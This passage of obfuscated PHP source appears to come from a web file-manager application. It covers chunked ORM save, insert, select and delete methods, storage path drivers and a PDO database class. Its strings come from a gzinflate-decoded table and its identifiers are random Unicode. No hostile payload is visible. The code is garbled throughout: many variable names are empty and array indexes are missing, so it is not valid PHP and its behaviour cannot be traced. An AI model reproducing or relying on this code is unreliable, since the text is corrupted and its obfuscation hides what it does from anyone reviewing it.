$[$] = $[$ꅶ[1]]; break; case $[294]: if (isset($[$]) && !is_string($[$])) { $[$] = json_encode_force($[$]); } break; case $[323]: if ($[$] === $[12]) { unset($[$]); } break; case $[324]: $[$] = $ꅶ[1]; default: break; } } if ($ == $[355]) { $Ŀ = strtolower($this->db->getDbType()); if (strpos($Ŀ, $[13]) !== 0) { return; } $֖ = $this->field(!0)->fields; $ = $֖[$[252]]; if (isset($֖[$[251]])) { unset($[$֖[$[251]]]); } foreach ($ as $ => $) { if (!isset($[$])) { $[$] = $[12]; } } } } private function dataAfterFilter(&$ᔅ) { $ =& $_SERVER[]; foreach ($this->dataAuto as $Շ) { $ط = $Շ[0]; if (!isset($ᔅ[$ط])) { continue; } if (!in_array($[357], explode($[50], $Շ[2]))) { continue; } switch (trim($Շ[3])) { case $[321]: case $[322]: $ = isset($Շ[4]) ? (array) $Շ[4] : array(); array_unshift($, $ᔅ[$ط]); if (isset($Շ[4]) && $Շ[4] == $[377]) { $ = array($ᔅ[$ط]); } if ($[321] == $Շ[3]) { $ᔅ[$ط] = call_user_func_array($Շ[1], $); } else { $ᔅ[$ط] = call_user_func_array(array(&$this, $Շ[1]), $); } break; case $[270]: if (isset($ᔅ[$ط]) && $ᔅ[$ط]) { $ᔅ[$ط] = call_user_func_array(array(&$this, $Շ[1]), array($ᔅ[$ط])); } break; case $[273]: $ᔅ[$ط] = $ᔅ[$Շ[1]]; break; case $[294]: $ = $ᔅ[$ط]; $ᔅ[$ط] = json_decode($, !0); if (is_null($ᔅ[$ط])) { $ᔅ[$ط] = $; } break; case $[323]: if ($ᔅ[$ط] === $[12]) { unset($ᔅ[$ط]); } break; case $[324]: $ᔅ[$ط] = $Շ[1]; break; default: break; } } } public function saveAll($ū) { $ذ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; $깚 = self::SQL_WHERE_IN_CHUNK; $ū = is_array($ū) ? $ū : array(); $톹 = $ذ[378]; $ = 0; $ഒ = array(); $ = count($ū); for ($ = 0; $ < $; $++) { $ݥ = $ū[$]; if (!is_array($ݥ) || count($ݥ) != 4) { continue; } $à = "\x55\x50\104\101\124\105\x20\x60{$}\140\40\x53\x45\124\x20{$ݥ[2]}\x20\x3d\40\103\x41\x53\105\40{$ݥ[0]}\40\xa"; if ($ == 0) { $톹 = $à; } $ഒ[] = $ذ[118] . $ݥ[1] . $ذ[118]; $++; $톹 .= "\x20\127\x48\x45\116\x20\x27{$ݥ[1]}\47\x20\x54\x48\105\x4e\x20\x27{$ݥ[3]}\47\x20\xa"; if ($ == $깚 || $ == $ - 1) { $덡Ϝ = implode($ذ[50], $ഒ); $톹 .= "\x20\x45\116\x44\x20\x20\x57\x48\105\x52\x45\x20{$ݥ[0]}\x20\x49\116\40\50{$덡Ϝ}\x29\x20"; $this->execute($톹); $ = 0; $톹 = $à; $this->chunkEventCheck(count($ഒ)); $ഒ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $Ǝ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; foreach ($ as $ׄʱ) { if (!is_array($ׄʱ) || count($ׄʱ) != 4) { continue; } $ِ = $ׄʱ[0] . $Ǝ[379] . $ׄʱ[1] . $Ǝ[118]; $ = $ׄʱ[2] . $Ǝ[379] . $ׄʱ[3] . $Ǝ[118]; $Ǥ = "\165\160\x64\141\x74\145\40{$}\x20\x73\145\164\40{$}\x20\167\150\145\162\x65\x20{$ِ}\73"; $this->execute($Ǥ); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ = false, $ = false) { $this->_chunkEvent = $; $this->_chunkEventParam = $; } private function chunkEventCheck($) { if (!$this->_chunkEvent) { return; } $ʱ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $ʱ[$_SERVER[][380]] = $; Hook::trigger($this->_chunkEvent, $ʱ); } public function addAll($, $ܖ = array(), $ҍ = false) { $ =& $_SERVER[]; ignore_timeout(); $ӑկ = self::SQL_WHERE_IN_CHUNK; if (empty($)) { $this->error = think_lang($[271]); return !1; } $ܖ = $this->_parseOptions($ܖ); foreach ($ as $ => $ۜ) { $[$] = $this->_facade($ۜ); $this->_beforeInsert($[$], $ܖ); } if (method_exists($this->db, $[272])) { for ($ = 0; $ < count($); $ += $ӑկ) { $⏘ = array_slice($, $, $ӑկ); if (!is_array($⏘) || count($⏘) == 0) { break; } $ = $this->db->insertAll($⏘, $ܖ, $ҍ); $this->chunkEventCheck(count($⏘)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ as $ => $ۜ) { $ = $this->db->insert($ۜ, $ܖ, $ҍ); } $this->commit(); } if (!1 !== $) { $۰ = $this->getLastInsID(); if ($۰) { return $۰; } } return $; } public function save($ = '', $ੇ = array()) { $čƒ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $ʫ = $this->optionsValue(); $甐 = $this->findWhereField($ʫ); if (!$甐) { return parent::save($, $ੇ); } $Μ = 0; $ݞ = $ʫ[$čƒ[275]][$甐][1]; $ݞ = is_array($ݞ) ? $ݞ : array(); $聫 = count($ݞ); for ($䪻 = 0; $䪻 < $聫; $䪻 += $) { $ = array_slice($ݞ, $䪻, $); if (!is_array($) || count($) == 0) { break; } $ʫ[$čƒ[275]][$甐][1] = $; $this->optionsValue($ʫ); $Μ += parent::save($, $ੇ); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); return $Μ; } public function add($ = '', $ګ = array(), $ИΠ = false) { if ($this->addTaskStatus && is_array($)) { $this->addTaskData[] = $; return; } return parent::add($, $ګ, $ИΠ); } public function parseWhereLike($炶, $ϳӗ = '', $Ԕ = false, &$ = false) { $뤆 =& $_SERVER[]; $ = $GLOBALS[$뤆[6]][$뤆[381]]; if (!$[$뤆[382]]) { return $炶; } if (!is_array($炶)) { return $炶; } $ҥʕ = array(); $ߠ = 0; foreach ($炶 as $ע => $) { if (is_array($) && count($) == 2 && $[0] == $뤆[383] && is_string($[1]) && substr($[1], 0, 1) == $뤆[384] && substr($[1], strlen($[1]) - 1, 1) == $뤆[384]) { $ = !0; $ = is_string($ע) ? $ע : $ϳӗ; $˅ = substr($[1], 1, strlen($[1]) - 2); $˅ = $this->db->escapeString($˅); if (!strpos($, $뤆[10])) { $ = $뤆[385] . $ . $뤆[385]; } $ = $뤆[189] . $˅ . $뤆[189]; $˅ = str_replace(array($뤆[10], $뤆[386], $뤆[11]), $뤆[387], $˅); if ($[$뤆[388]]) { $ = $뤆[389] . $˅ . $뤆[390]; if ($[$뤆[391]]) { $ = $뤆[390] . $˅ . $뤆[389]; } } $ҥʕ[$ߠ] = $뤆[392] . $ . $뤆[393] . $ . $뤆[394]; $ߠ++; continue; } if (is_array($)) { $ϳӗ = is_string($ע) ? $ע : $ϳӗ; $ = $this->parseWhereLike($, $ϳӗ, !0, $); } if (is_numeric($ע)) { $ҥʕ[$ߠ] = $; $ߠ++; } else { $ҥʕ[$ע] = $; } } if ($ && !$Ԕ) { } return $ҥʕ; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ݵ = array()) { $ =& $_SERVER[]; $ε = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$ || isset($[$[292]]) || isset($[$[353]])) { return parent::select($ݵ); } $ = $[$[275]][$][1]; $ = is_array($) ? $ : array(); $駑 = null; for ($̡ = 0; $̡ < count($); $̡ += $ε) { $ = array_slice($, $̡, $ε); if (!is_array($) || count($) == 0) { break; } $[$[275]][$][1] = $; $this->optionsValue($); $ð = parent::select($ݵ); if (!$ð) { continue; } $駑 = is_array($駑) ? $駑 : array(); $駑 = array_merge($駑, $ð); } return $駑; } public function delete($ = array()) { $˿ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $穸 = $this->optionsValue(); $ħط = $this->findWhereField($穸); if (!$ħط) { return parent::delete($); } $ = 0; $ = $穸[$˿[275]][$ħط][1]; $ = is_array($) ? $ : array(); for ($ā = 0; $ā < count($); $ā += $) { $ݘ = array_slice($, $ā, $); if (!is_array($ݘ) || count($ݘ) == 0) { break; } $穸[$˿[275]][$ħط][1] = $ݘ; $this->optionsValue($穸); $ += parent::delete($); } return $; } private function findWhereField($۬) { $ݎ =& $_SERVER[]; $ˮ = self::SQL_WHERE_IN_CHUNK; if (!is_array($۬) || !is_array($۬[$ݎ[275]])) { return !1; } foreach ($۬[$ݎ[275]] as $ => $Β) { if (is_array($Β) && isset($Β[0]) && is_string($Β[0]) && strtolower($Β[0]) == $ݎ[7] && is_array($Β[1]) && count($Β[1]) > $ˮ) { ignore_timeout(); return $; } } return !1; } public function setMasterDB($̉ = true) { think_config($_SERVER[][395], $̉); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\x53\171\163\164\145\x6d\x4f\x70\x74\151\157\x6e"; public $field = array(); public function listData($ = false, $ = "\x6d\x6f\x64\151\146\x79\x54\x69\155\145", $ = false) { $ = Model($this->modelType)->get(!1, $this->optionType, !0); $ᒛ = array_values($); if ($ᒛ && $ᒛ[0] && !is_array($ᒛ[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$) { return $ ? null : array(); } if (!$) { $ = array_filter(array_values($)); return array_sort_by($, $, $); } return $[$_SERVER[][396] . $]; } public function insert($) { $ =& $_SERVER[]; $ = array_field_key($, $this->field); $֨ = Model($this->modelType)->get($[397], $this->optionType . $[398]); $֨ = $֨ ? $֨ : 0; $[$[399]] = ++$֨; $[$[201]] = time(); $[$[85]] = time(); Model($this->modelType)->set($[397], $֨, $this->optionType . $[398]); Model($this->modelType)->set($[396] . $֨, $, $this->optionType); return $֨; } public function update($ܩ, $) { $͖ =& $_SERVER[]; $ = array_field_key($, $this->field); $ = $this->listData($ܩ); if (!$ || !$ܩ) { return !1; } $ = array_merge($, $); $[$͖[85]] = time(); return Model($this->modelType)->set($͖[396] . $ܩ, $, $this->optionType); } public function remove($) { if (!$) { return !1; } return Model($this->modelType)->remove($_SERVER[][396] . $, $this->optionType); } public function clear() { $ء =& $_SERVER[]; Model($this->modelType)->remove($ء[397], $this->optionType . $ء[398]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($, $) { if (!$) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $); return isset($[$]) ? $[$] : !1; } public function findByName($ڍ) { return $this->findByKey($_SERVER[][32], $ڍ); } protected function resetData($) { $ =& $_SERVER[]; $ = is_array($) ? $ : array(); $ = array(); for ($ = 0; $ < count($); $++) { $[$[396] . $[$][$[399]]] = $[$]; } return Model($this->modelType)->set($, !1, $this->optionType); } private function getAutoName($ٻ) { $ܕ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if (!$ܕ || !isset($ܕ[$ٻ])) { return $ٻ; } for ($ = 1; $ < count($ܕ); $++) { $ = $ٻ . "\50{$}\x29"; if (!isset($ܕ[$])) { return $; } } return $; } } goto a̭; f: $_SERVER[̬Ե] = explode($_SERVER[][608], gzinflate(substr($_SERVER[][609], 10, -8))); $spldjavyqw = $_SERVER[][610]; if (!$spldjavyqw) { return; } goto d; Až: class PathDriverCOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[][216]); } public function uploadFormData($雟, $ = 3600) { $ =& $_SERVER[]; $߫ = $[199]; $Ѧ = $[232]; $ = $[1324]; $ҽ = gmdate($[1325], time() + $); $⊃ = (string) time() . $[71] . (string) (time() + $); $ۨņ = array($[1326] => $ҽ, $[1327] => array(array($[1328] => $߫), array($[1329] => $this->bucket), array($[1330], $[1331], $[12]), array($[1332] => $), array($[1333] => $Ѧ), array($[1334] => $this->accessKey), array($[1335] => $⊃))); $ۨņ = json_encode($ۨņ); $ȫ = hash_hmac($[232], $⊃, $this->secret); $ = sha1($ۨņ); $ؖ = hash_hmac($[232], $, $ȫ); $ = array($[1328] => $߫, $[1332] => $, $[1336] => base64_encode($ۨņ), $[1333] => $Ѧ, $[1334] => $this->accessKey, $[1337] => $⊃, $[1338] => $ؖ, $[182] => $this->getHost()); return $; } public function fileOutLink($ٷ) { $ƍ =& $_SERVER[]; if (substr($ٷ, 0, 7) == $ƍ[1339]) { $ٷ = $ƍ[1340] . substr($ٷ, 7); } header($ƍ[161] . $ٷ); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1341]); } public function getPath($ɲ) { return trim($ɲ, $_SERVER[][8]); } public function pathFather($) { $ڍ = $this->parse($); $ڍ = $this->infoSimple($); return $ڍ ? $ڍ[$_SERVER[][432]] : !1; } public function pathThis($) { $Ԍ = $this->infoSimple($); return $Ԍ ? $Ԍ[$_SERVER[][32]] : !1; } public function getPathOuter($ܒ) { if (!$ܒ) { return $ܒ; } $ = $this->parse($ܒ); return KodIO::make($[$_SERVER[][399]]); } public function copyFolderFromIO($џ, $, $, $, $) { $ϴ = $this->model->copyFolderFromIO($џ, $, $, $, $); return KodIO::make($ϴ); } public function isParentOf($刏զ, $Ο) { return $this->model->isParentOf($刏զ, $Ο); } public function mkfile($, $Ă = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = $this->parse($); $ = $[$[399]]; for ($ = 0; $ < count($[$[1342]]); $++) { $׆ = $[$[1342]][$]; if ($ == count($[$[1342]]) - 1) { $ = $this->model->mkfile($, $׆, $Ă, $); break; } $ = $this->model->mkdir($, $׆, REPEAT_SKIP); } return $this->getPathOuter($); } public function mkdir($, $ = REPEAT_SKIP) { $ϙ =& $_SERVER[]; $ē = $this->parse($); $ = $ē[$ϙ[399]]; for ($ؑݚ = 0; $ؑݚ < count($ē[$ϙ[1342]]); $ؑݚ++) { $ӱ = $ē[$ϙ[1342]][$ؑݚ]; $ = $this->model->mkdir($, $ӱ, $); } return $this->getPathOuter($); } public function copyFile($, $, $ɟ = REPEAT_REPLACE) { $ߌ =& $_SERVER[]; $ = $this->parse($); $ܳ = $this->model->copy($, $[$ߌ[399]], $ɟ, $[$ߌ[84]]); return $ܳ ? $this->getPathOuter($ܳ) : !1; } public function moveFile($ѐ, $렋, $Ҙˋ = REPEAT_REPLACE) { $ޫ =& $_SERVER[]; $ݏ = $this->parse($렋); $ = $this->model->move($ѐ, $ݏ[$ޫ[399]], $Ҙˋ, $ݏ[$ޫ[84]]); return $ ? $this->getPathOuter($) : !1; } public function copy($ȓ, $, $ = REPEAT_REPLACE, $ꡳ = false) { $ = $this->parse($); $ = $this->model->copy($ȓ, $[$_SERVER[][399]], $, $ꡳ); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public function move($, $, $Ԉ՛ = REPEAT_REPLACE, $ = false) { $ = $this->parse($); $ = $this->model->move($, $[$_SERVER[][399]], $Ԉ՛, $); return $ ? $this->getPathOuter($) : !1; } public function remove($, $т = true) { return $this->model->remove($, $т); } public function rename($ݠ, $Ǥ) { $ = $this->model->rename($ݠ, $Ǥ); return $ ? $this->getPathOuter($ݠ) : $; } public function size($) { $ꋉ = $this->infoSimple($); return $ꋉ ? $ꋉ[$_SERVER[][76]] : 0; } public function infoSimple($) { return $this->model->sourceInfo($); } public function info($) { return $this->infoParse($); } public function infoAuth($Է) { return $this->infoParse($Է, !1, !0); } public function infoWithChildren($) { return $this->infoParse($, !0); } protected function infoParse($ֻ, $ = false, $î = false) { if (!$) { return $this->model->pathInfo($ֻ, $î); } return $this->model->pathInfoMore($ֻ); } public function infoFull($Å) { $® =& $_SERVER[]; $ػ = explode($®[8], $Å); $ = implode($®[8], array_splice($ػ, 1)); return $this->model->pathInfoByPath($ػ[0], $); } public function hashSimple($߯) { $Κ =& $_SERVER[]; $ = $this->infoWithChildren($߯); return $[$Κ[170]][$Κ[177]]; } public function hashMd5($) { $ܣ =& $_SERVER[]; $ = $this->infoWithChildren($); return $[$ܣ[170]][$ܣ[176]]; } public function exist($) { $֧ =& $_SERVER[]; $Σ = $this->parse($); if (!$Σ[$֧[84]]) { return $this->isFile($) || $this->isFolder($); } $lj = array($֧[401] => $Σ[$֧[399]], $֧[32] => $Σ[$֧[84]]); $ = $this->model->where($lj)->find(); return $ ? !0 : !1; } public function isFile($ۑ) { $ʙ =& $_SERVER[]; $߂ = $this->infoSimple($ۑ); return $߂ && $߂[$ʙ[410]] == $ʙ[88] ? !1 : !0; } public function isFolder($) { $ =& $_SERVER[]; $ = $this->infoSimple($); return $ && $[$[410]] == $[88] ? !0 : !1; } public function listPath($, $ս = false) { $맒ڈ =& $_SERVER[]; if ($ == $맒ڈ[12]) { return !1; } $͈ = array($맒ڈ[401] => $); if ($ս) { return $this->model->listSource($͈, -1); } return $this->model->listSource($͈); } public function has($, $ = false, $ = null) { $ =& $_SERVER[]; $ = $this->infoWithChildren($); if ($) { return array($[208] => $[$[208]], $[207] => $[$[207]]); } return $ ? $[$[208]] : $[$[207]]; } public function listAll($뗓) { $կū = IO::info($this->pathParse[$_SERVER[][84]]); if (!$կū) { return array(); } return $this->model->listAll($뗓); } public function getContent($) { return $this->model->getContent($); } public function setContent($, $̘ = '') { return $this->model->setContent($, $̘); } public function fileSubstr($, $ߟ, $Ҁ) { return $this->model->fileSubstr($, $ߟ, $Ҁ); } public function download($՞, $ = '') { $ = get_path_father($); $ˇ = get_path_this($); $ن = $this->model->fileInfoGet($՞); $ = IO::copy($ن[$_SERVER[][84]], $, !1, $ˇ); return $; } public function setModifyTime($, $ = '') { $ϳ =& $_SERVER[]; if (!$) { return; } $this->model->where(array($ϳ[417] => $))->save(array($ϳ[85] => $)); } public function upload($, $, $ = false, $۫ = REPEAT_REPLACE) { $ =& $_SERVER[]; $폝 = $this->parse($); $Ɩ = $this->model->addFile($폝[$[399]], $, $폝[$[84]], $, $۫); return $this->getPathOuter($Ɩ); } public function uploadFileByID($٭, $Ж, $) { $ =& $_SERVER[]; $ = $this->parse($٭); $ۭ = $this->model->addFileByFileID($[$[399]], $Ж, $[$[84]], $); return $this->getPathOuter($ۭ); } public function addFileByRemote($ŷ, $, $ڑ = array(), $ = '', $˝) { $돑 =& $_SERVER[]; $졭 = $this->parse($ŷ); $ = empty($) ? $졭[$돑[84]] : $; $ŧ = $this->model->addFileByRemote($졭[$돑[399]], $, $, $ڑ, $˝); return $this->getPathOuter($ŧ); } public function uploadLink($, $˲ = 0) { $Ι =& $_SERVER[]; $ = $this->parse($); $Ά = _get($GLOBALS[$Ι[7]], $Ι[1343]); $ = _get($GLOBALS[$Ι[7]], $Ι[1344]); $ = Model($Ι[601])->createFileName($[$Ι[84]], $Ά, $); return IO::uploadLink($, $˲); } public function fileNameAuto($렯, $б, $ = REPEAT_REPLACE, $ǃ = false) { return $this->model->fileNameAuto($렯, $б, $, $ǃ); } public function fileNameExist($せ, $ܘ) { return $this->model->fileNameExist($せ, $ܘ); } protected function _fileOut($, $Ɓ = false, $ = false, $Պ = '', $ = false) { $ǭ =& $_SERVER[]; $Ũ = $this->model->sourceInfo($); if ($Ũ[$ǭ[410]] == $ǭ[88]) { header($ǭ[1345]); die; } $Ӂ = $this->model->fileInfoGet($); $Պ = $Ӂ[$ǭ[176]] ? $Ӂ[$ǭ[176]] : $Պ; $ť = isset($GLOBALS[$ǭ[1346]]) ? $GLOBALS[$ǭ[1346]] : $Ũ[$ǭ[32]]; if ($) { return IO::fileOutServer($Ӂ[$ǭ[84]], $Ɓ, $ť, $Պ); } IO::fileOut($Ӂ[$ǭ[84]], $Ɓ, $ť, $Պ); } public function fileOut($, $ = false, $ҡ = false, $ = '') { $this->_fileOut($, $, $ҡ, $); } public function fileOutServer($ºɗ, $ = false, $ = false, $ʄչ = '') { $this->_fileOut($ºɗ, $, $, $ʄչ, !0); } protected function _fileOutImage($ï, $Րӝ = 250) { $Ȟ =& $_SERVER[]; $ = $this->model->pathInfo($ï); if ($[$Ȟ[410]] == $Ȟ[88]) { show_json($Ȟ[1347] . $ï, !1); } $ۺ = $this->model->fileInfoGet($ï); $ۺ[$Ȟ[32]] = $[$Ȟ[32]]; $ۺ[$Ȟ[169]] = $[$Ȟ[169]]; $GLOBALS[$Ȟ[1346]] = $ۺ[$Ȟ[32]]; $GLOBALS[$Ȟ[168]] = $ۺ; IO::fileOutImage($ۺ[$Ȟ[84]], $Րӝ); } public function fileOutImage($, $ = 250) { $this->_fileOutImage($, $); } public function fileOutImageServer($, $ = 250) { $this->_fileOutImage($, $); } public function link($ı, $ = '') { $붟 = $this->model->fileInfoGet($ı); return IO::link($붟[$_SERVER[][84]], $); } protected function parse($ط) { $粓 =& $_SERVER[]; if (strstr($ط, $粓[8]) === !1) { return array($粓[419] => intval($ط), $粓[84] => $粓[12], $粓[1342] => array()); } $ = explode($粓[8], trim($ط, $粓[8])); if (count($) < 2) { show_tips(clear_html($ط) . $粓[1348]); } return array($粓[419] => intval($[0]), $粓[84] => $[1], $粓[1342] => array_slice($, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($Ż) { $this->pathParse = $Ż; $this->model = Model($_SERVER[][1341]); } public function getPathOuter($ן) { $ƪ =& $_SERVER[]; if (!$ן) { return $ן; } $̀ = $this->parse($ן); return trim(KodIO::makeShare($this->pathParse[$ƪ[399]], $̀[$ƪ[399]]), $ƪ[8]); } protected function infoParse($ʆɯ, $ = false, $ = false) { $ =& $_SERVER[]; $ = $this->pathParse[$[399]]; $ = trim($this->pathParse[$[1170]], $[8]); return Action($[1349])->sharePathInfo($, $, $); } public function infoFull($) { $ =& $_SERVER[]; $މ = explode($[8], trim($, $[8])); if (count($މ) > 1) { $߾ = implode($[8], array_splice($މ, 1)); $ = $this->model->pathInfoByPath($މ[0], $߾); if (!$) { return !1; } $this->pathParse[$[1170]] = $[$[402]]; } return $this->infoParse($); } public function listAll($) { $㙧 =& $_SERVER[]; $ћ = IO::info($this->pathParse[$㙧[84]]); if (!$ћ) { return array(); } $ = $this->model->listAll($); $Ք۷ = Model($㙧[592])->getInfo($ћ[$㙧[593]]); foreach ($ as &$) { check_abort(); $[$㙧[87]] = Action($㙧[1349])->_shareItemeParse($[$㙧[87]], $Ք۷); } unset($); return $; } } goto bڛý; e삅: class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($蜿 = '') { $ =& $_SERVER[]; if (!class_exists($[916])) { think_exception(think_lang($[14]) . $[917]); } if (!empty($蜿)) { $this->config = $蜿; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($騵 = '', $͒ = 0) { $䭂ߖ =& $_SERVER[]; if (!isset($this->linkID[$͒])) { if (empty($騵)) { $騵 = $this->config; } $ = !empty($騵[$䭂ߖ[17]][$䭂ߖ[18]]) ? $騵[$䭂ߖ[17]][$䭂ߖ[18]] : $this->pconnect; if ($) { $騵[$䭂ߖ[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$͒] = new PDO($騵[$䭂ߖ[918]], $騵[$䭂ߖ[890]], $騵[$䭂ߖ[891]], $騵[$䭂ߖ[17]]); } catch (PDOException $ş) { think_exception($ş->getMessage()); } $this->dbType = $this->_getDsnType($騵[$䭂ߖ[918]]); if (in_array($this->dbType, array($䭂ߖ[919], $䭂ߖ[920], $䭂ߖ[921], $䭂ߖ[922]))) { think_exception($䭂ߖ[923] . $this->dbType . $䭂ߖ[924] . $this->dbType . $䭂ߖ[925]); } if (!$this->linkID[$͒]) { think_exception($䭂ߖ[926]); } try { $this->linkID[$͒]->exec($䭂ߖ[927] . think_config($䭂ߖ[893])); } catch (Exception $ş) { } $this->connected = !0; if (1 != think_config($䭂ߖ[22])) { unset($this->config); } } return $this->linkID[$͒]; } public function free() { $this->PDOStatement = null; } public function query($, $ۛ = array()) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($ۛ)) { $this->queryStr .= $[928] . print_r($ۛ, !0) . $[929]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($ۛ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($, $ = array()) { $ڲ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($)) { $this->queryStr .= $ڲ[928] . print_r($, !0) . $ڲ[929]; } $߇ = !1; if ($this->dbType == $ڲ[922]) { if (preg_match($ڲ[930], $this->queryStr, $٢Ȁ)) { $this->table = think_config($ڲ[931]) . str_ireplace(think_config($ڲ[932]), $ڲ[378], $٢Ȁ[2]); $߇ = (bool) $this->query($ڲ[933] . strtoupper($this->table) . $ڲ[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($ڲ[25], 1); think_status($ڲ[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ˋ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $ˋ) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($߇ || preg_match($ڲ[934], $)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $َ = $this->_linkID->commit(); $this->transTimes = 0; if (!$َ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $Ԡ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($Ԡ); return $Ԡ; } public function getFields($穳) { $ =& $_SERVER[]; $this->initConnect(!0); if (think_config($[935])) { $ = str_replace($[936], $穳, think_config($[935])); } else { switch ($this->dbType) { case $[919]: case $[937]: $ = "\123\x45\x4c\105\x43\x54\x20\40\x20\143\x6f\154\x75\x6d\156\x5f\156\x61\x6d\145\40\x61\x73\x20\47\x4e\141\x6d\x65\x27\x2c\40\x20\40\x64\x61\164\x61\137\x74\171\160\145\40\141\163\x20\47\124\x79\x70\x65\x27\x2c\x20\40\x20\x63\157\154\165\x6d\156\137\x64\145\146\141\x75\x6c\x74\x20\x61\x73\40\47\x44\145\x66\141\165\154\164\47\54\x20\x20\40\x69\163\x5f\x6e\x75\154\x6c\141\142\x6c\145\40\x61\163\x20\47\x4e\x75\154\154\47\12\x9\x9\x46\x52\x4f\115\11\151\x6e\146\157\162\x6d\x61\x74\x69\157\x6e\x5f\163\143\x68\145\155\x61\x2e\164\141\142\x6c\145\x73\40\x41\123\x20\164\xa\x9\x9\112\117\x49\116\11\151\156\146\157\x72\x6d\141\x74\x69\157\156\137\x73\x63\x68\x65\x6d\x61\x2e\143\x6f\x6c\x75\155\156\163\40\101\123\x20\x63\12\x9\x9\117\116\x20\x20\x74\56\x74\141\x62\154\x65\x5f\x63\x61\x74\x61\x6c\x6f\x67\40\75\x20\x63\x2e\x74\x61\142\154\x65\137\x63\x61\164\141\154\157\x67\12\x9\11\101\116\104\40\164\x2e\x74\141\x62\154\x65\137\163\x63\150\145\155\141\40\75\x20\143\56\164\141\x62\154\x65\x5f\x73\x63\x68\x65\x6d\x61\xa\11\11\x41\x4e\104\40\164\x2e\x74\x61\142\154\x65\x5f\x6e\141\155\145\x20\75\x20\143\x2e\x74\141\142\154\x65\137\x6e\x61\x6d\x65\xa\11\11\x57\x48\105\x52\x45\40\x20\x20\x74\56\x74\141\x62\x6c\145\137\x6e\x61\x6d\145\x20\x3d\40\x27{$穳}\x27"; break; case $[938]: $ = $[939] . $穳 . $[940]; break; case $[920]: case $[922]: $ = $[941] . $[942] . $[943] . strtoupper($穳) . $[944] . strtoupper($穳) . $[945]; break; case $[946]: $ = $[947] . $穳 . $[948]; break; case $[921]: break; case $[949]: default: $ = $[950] . ($this->dbType == $[949] ? "\x60{$穳}\x60" : $穳); } } $Ƕ = $this->query($); $ = array(); if ($Ƕ) { foreach ($Ƕ as $ => $ϒ) { $ϒ = array_change_key_case($ϒ); $ϒ[$[32]] = isset($ϒ[$[32]]) ? $ϒ[$[32]] : $[378]; $ϒ[$[33]] = isset($ϒ[$[33]]) ? $ϒ[$[33]] : $[378]; $Ǣ = isset($ϒ[$[273]]) ? $ϒ[$[273]] : $ϒ[$[32]]; $[$Ǣ] = array($[32] => $Ǣ, $[33] => $ϒ[$[33]], $[35] => (bool) (isset($ϒ[$[103]]) && $ϒ[$[103]] === $[12] || isset($ϒ[$[35]]) && $ϒ[$[35]] === $[12]), $[37] => isset($ϒ[$[37]]) ? $ϒ[$[37]] : (isset($ϒ[$[56]]) ? $ϒ[$[56]] : $[378]), $[39] => isset($ϒ[$[94]]) ? strtolower($ϒ[$[94]]) == $[41] : (isset($ϒ[$[57]]) ? $ϒ[$[57]] : !1), $[42] => isset($ϒ[$[951]]) ? strtolower($ϒ[$[951]]) == $[44] : (isset($ϒ[$[94]]) ? $ϒ[$[94]] : !1)); } } return $; } public function getTables($蹊 = '') { $ =& $_SERVER[]; if (think_config($[952])) { $廣ҕ = str_replace($[953], $蹊, think_config($[952])); } else { switch ($this->dbType) { case $[920]: case $[922]: $廣ҕ = $[954]; break; case $[919]: case $[937]: $廣ҕ = $[955]; break; case $[946]: $廣ҕ = $[956]; break; case $[921]: think_exception(think_lang($[957]) . $[958]); break; case $[938]: $廣ҕ = $[45] . $[46] . 